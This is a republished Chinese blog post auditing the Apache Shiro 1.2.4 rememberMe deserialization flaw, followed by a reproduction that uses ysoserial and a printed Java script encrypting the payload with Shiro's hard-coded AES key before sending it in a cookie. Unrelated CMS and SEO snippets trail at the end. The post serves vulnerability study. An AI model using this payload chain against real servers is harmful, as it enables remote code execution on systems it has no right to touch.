Apache-Shiro =1.2.4 反序列化漏洞 (代码审计)

news/2024/9/21 11:27:04/文章来源:https://www.cnblogs.com/kgty/p/18422946

一、Apache Shiro 简介:

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):

(1) 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。
(2) 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.
(3) 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
(4) 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。
对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。

二、漏洞分析:

1、漏洞产生流程:

(1) 加密流程:
值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式

(2) 解密流程 (漏洞产生):
payload -> base64解码 -> AES解密 -> 反序列化 (造成反序列化漏洞)

2、漏洞代码审计:

(1) 加密流程:

首先观察在 CookieRemembaerMeManager.java 中的 rememberSerializedIdentity 方法,它将序列化后的值进行 base64编码后的字符串设置为 cookie 的值:
image

查看该方法在哪里被调用,跟进查看:
image

跟进可知 rememberSerializedIdentity方法被 rememberIdentity方法所调用:
image

跟进查看 rememberIdentity方法:
image

可以看到在下面 rememberIdentity方法进行了函数重载:
image

继续跟进重载后的 rememberIdentity方法,可以发现该方法被 onSuccessfulLoogin方法调用:
image

总体逻辑即为,登录成功后,会调用 AbstractRememberManager.onSuccessfulLogin方法,生成加密的 rememberMe=cookie值,然后将这个生成的 cookie值 设置为用户的cookie值。

接着 在 if(isRememberMe(token))代码处打赏断点:
image

运行代码,进入Web端,输入默认口令,选中 "记住我" 即 rememberMe 选项,提交表单:
image

回到代码断点位置,可以看到运行至断点处的 token的值:
image

接下来进行跟进,逐步分析代码,跟进 isRememberMe方法,分析可知,这个方法的作用是判断用户有无勾选 rememberMe 选项,有则返回 true,否则返回 false:
image

已知我们已经勾选了 rememberMe选项,返回 true,进入下一步调用 rememberIdentity方法:
image

跟进 rememberIdentity方法,这个方法会首先生成一个 principalColletion对象->principles,principles中保存用户的登录信息:
image

下一步,调用 rememberIdentity方法,跟进该方法,通过分析代码可知,该方法首先调用 convertPrincipalsToBytes方法对 principles值进行一个序列化的操作:
image

跟进 convertPrincipalsToBytes方法,可以看到该方法先使用 serialize方法对 principles值进行序列化,然后调用 encrypt方法对序列化后的值进行加密:
image

跟进 serialize方法,调用setSerializer()中的 serialize方法,继续跟进第二个 serialize方法,第二个serialize方法就是对参数值进行一个正常的序列化操作:
image

步过 serialize方法,进入 if(getCipherService() != null) 的判断逻辑,跟进 getCipherService方法,通过分析,可以判断其是 aes加密:
image

跟进 cipherService:
image

继续跟进,可以发现采用了硬编码的密钥,这也是 shiro(1.2.4)反序列化漏洞产生的关键条件之一
image

可以继续跟进,获取到该硬编码密钥,通过该密钥,攻击者可以对 payloads进行构造,是 shiro(1.2.4)反序列化漏洞产生的关键条件之一
image

继续步过,进入 encrpt方法的加密逻辑:
image

跟进 encrypt方法,该方法先获取 principles被序列化后的值,然后对该值使用 cipherService.encrypt方法进行加密:
image

跟进 cipherService.encrypt方法,该方法中,使用硬编码的key,iv向量进行了很经典的 AES加密:
image

通过以上逻辑总结可得,convertPrinciplesToBytes方法就是先对 principles值先进行了 序列化操作,然后对序列化后的值进行了 AES加密,但是 AES加密采用了固定的硬编码Key导致可逆,会被恶意利用。

步过 convertPrinciplesToBytes方法,进入 rememberSerializedIndentity方法的逻辑:
image

跟进 rememberSerializedIdentity方法,就是先对 序列化和加密后的值进行base64编码,并将编码后的值设置为用户的cookie值:
image

综上所述,加密流程即为:
principles值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式

(2) 解密流程以及漏洞产生的原因:

有加密方法 encrypt,对应的也有解密方法,如下所示:
image

向上层查看跟进 decrypt在哪里被调用:
image

decrypt方法在 convertBytesToPrinciples方法中被调用,继续向上跟进 convertBytesToPrinciples方法在哪里被调用:
image

如上图所示下断点,跟进查看 getRememberSerializedIdentity方法,发现 getRememberSerializedIdentity方法中会获取 请求包中的cookie的值并进行base64解密,这个获取到的cookie的值对于攻击者来说是可控的:
image

步过进入 convertBytesToPrinciples方法:
image

该方法首先使用 decrypt方法对 传入参数使用固定的硬编码Key进行aes解密操作:
image

接着调用 deserialize方法对aes解密后的值进行反序列化,跟进deserialize方法:
image

继续跟进getSerializer().deserialize方法,发现 deserialize方法被进行了重写:
image

继续跟进分析重写后的方法,使用了 readObject方法,导致了反序列化漏洞的产生:
image

解密流程与漏洞产生的基本逻辑如下:
获取请求包中的cookie值 -> base64解码 -> aes解密 -> 反序列化

但是由于请求包中的cookie值可控 以及 aes加密采用的是硬编码固定Key,导致攻击流程如下:
攻击者构造payload命令 -> 手动序列化 -> 使用固定硬编码Key进行手动加密 -> 手动base64加密 -> 构造出完整的payload命令 -> 在请求包Cookie中构造 rememberMe=payload字段进行send发包 -> getRememberSerializedIdentity方法获取cookie值 -> base64解码 -> aes解密 -> 反序列化 -> readObject()函数导致产生反序列化漏洞。

3、漏洞攻击复现:

(1) 复现工具:
(一) dnslog
(二) ysoserial
(三) 加密脚本

首先使用 ysoserial工具构造 java反序列化攻击payload:
image

image

使用脚本对payload进行加密操作:

package org.XxxX.shiro;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;public class ShiroRememberMeGenPayload {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:/Users/lenovo/Desktop/代码审计/ysoserial-master/payload/payload.txt"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  //硬编码固定Key值ByteSource ciphertext = aes.encrypt(payloads, key);BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));  out.write(ciphertext.toString());out.close();System.out.printf("OK");}
}

运行代码生成 payload.txt:
image

复制 payload值将其构造为 rememberMe=payload 添加至 Cookie字段,然后放包:
image

dnslog回显,即可证明漏洞存在:
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/800908.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

帝国cms安装时配置数据库出现错误

在安装帝国CMS时配置数据库出现错误,可能是由于多种原因造成的。以下是一些常见的解决方法,帮助你解决安装过程中遇到的数据库配置错误: 1. 检查数据库连接信息 确保数据库连接信息正确无误。 解决方法:数据库服务器地址:确保输入的数据库服务器地址正确。 数据库用户名和…

帝国cms安装时的出现的错误怎么解决

在安装帝国CMS时遇到错误,可以根据错误的具体情况采取不同的解决措施。以下是一些常见的错误及其解决方法: 1. HTTP 500 内部服务器错误 如果在安装过程中遇到HTTP 500错误,这通常意味着服务器端发生了错误。 解决方法:查看错误日志:登录到服务器,找到帝国CMS安装目录下的…

帝国cms时间显示为1970-01-01

当帝国CMS中的时间显示为1970-01-01时,通常是因为系统中的时间字段没有被正确设置或更新。以下是解决此问题的一些方法: 1. 检查字段设置 确保在建立系统模型时,时间字段(如newstime)已经被设置为可录入、可修改和可增加。 解决方法:在帝国CMS后台,进入“系统” -> “…

谷歌收录查询工具,Google收录查询工具操作教程

谷歌收录查询工具是帮助网站所有者或SEO专业人士了解网站在谷歌搜索引擎中收录情况的重要工具。以下是一些常用的Google收录查询工具及其操作教程: 一、Google Search Console(谷歌搜索控制台) 功能概述: Google Search Console是一个免费的服务,它帮助网站所有者监控和管…

谷歌网站收录查询,谷歌网站收录查询有那些办法

谷歌网站收录查询是SEO优化和网站管理中的重要一环,以下是几种常用的谷歌网站收录查询办法:使用Google Search Console(谷歌搜索控制台) 优点: 官方工具,数据准确可靠。 提供详细的收录情况报告,包括已收录和未收录的页面列表。 可用于提交网站地图,帮助谷歌爬虫更快地…

解决帝国CMS栏目绑定域名刷新问题的八种方法

解决帝国CMS栏目绑定域名刷新问题时,可以从以下几个方面入手: 1. 检查域名解析问题 确保域名已经正确解析到了服务器的IP地址。 解决方法:使用ping命令或者DNS查询工具检查域名是否正确解析到了服务器IP地址。shping yourdomain.com如果域名未正确解析,检查DNS设置或者联系…

迭代器可能的报错:ConcurrentModificationException(并发修改异常)注意事项

参考: ConcurrentModificationException(并发修改异常)可能原因和解决方法 Java迭代器详解,看这一篇就够了 JAVA iterator迭代器遍历一遍后不能再遍历了吗 迭代器循环list 集合的顶层接口Collection继承Iterable接口,实现迭代器iterator()迭代器一旦定义,不允许其他地方对…

PTA 周初浪型

考虑黄圈的时机做多一下:

iis服务器帝国cms7.5编辑器不能使用解决办法

在IIS服务器上使用帝国CMS 7.5时,如果编辑器不能正常使用,可能涉及多个方面的问题,包括文件权限、配置文件、依赖库等。下面是一些具体的解决办法: 1. 检查文件和目录权限 确保帝国CMS的所有必要文件和目录具有正确的权限。 步骤:检查e/data目录及其子目录:使用IIS Manag…

帝国cms开启https后,网站后台为何无法访问?怎样解决

当帝国CMS开启HTTPS后,网站后台无法访问的情况通常是由于HTTPS配置不当导致的一些常见问题。这里有一些可能的原因及解决方法: 1. .htaccess文件配置问题 帝国CMS使用Apache服务器时,通常会有一个.htaccess文件用来处理重定向和其他URL重写规则。开启HTTPS后,如果.htaccess…

帝国cms后台不能登录的解决方法_帝国cms

当遇到帝国CMS后台不能登录的问题时,可能的原因有很多,包括但不限于权限问题、Cookie设置问题、服务器配置问题等。以下是一些排查和解决此类问题的方法: 1. 检查文件和目录权限确保目录可写:e/data/adminlogin目录需要具有写权限,以便帝国CMS能够存储登录信息。可以通过F…

帝国cms后台不能登录的解决方法

帝国CMS后台不能登录的问题可能由多种因素引起,包括权限问题、Cookie设置问题、服务器配置问题等。下面是一些具体的解决方法: 1. 检查文件和目录权限确保目录可写:e/data/adminlogin目录需要具有写权限,以便帝国CMS能够存储登录信息。使用FTP客户端或服务器命令行设置权限…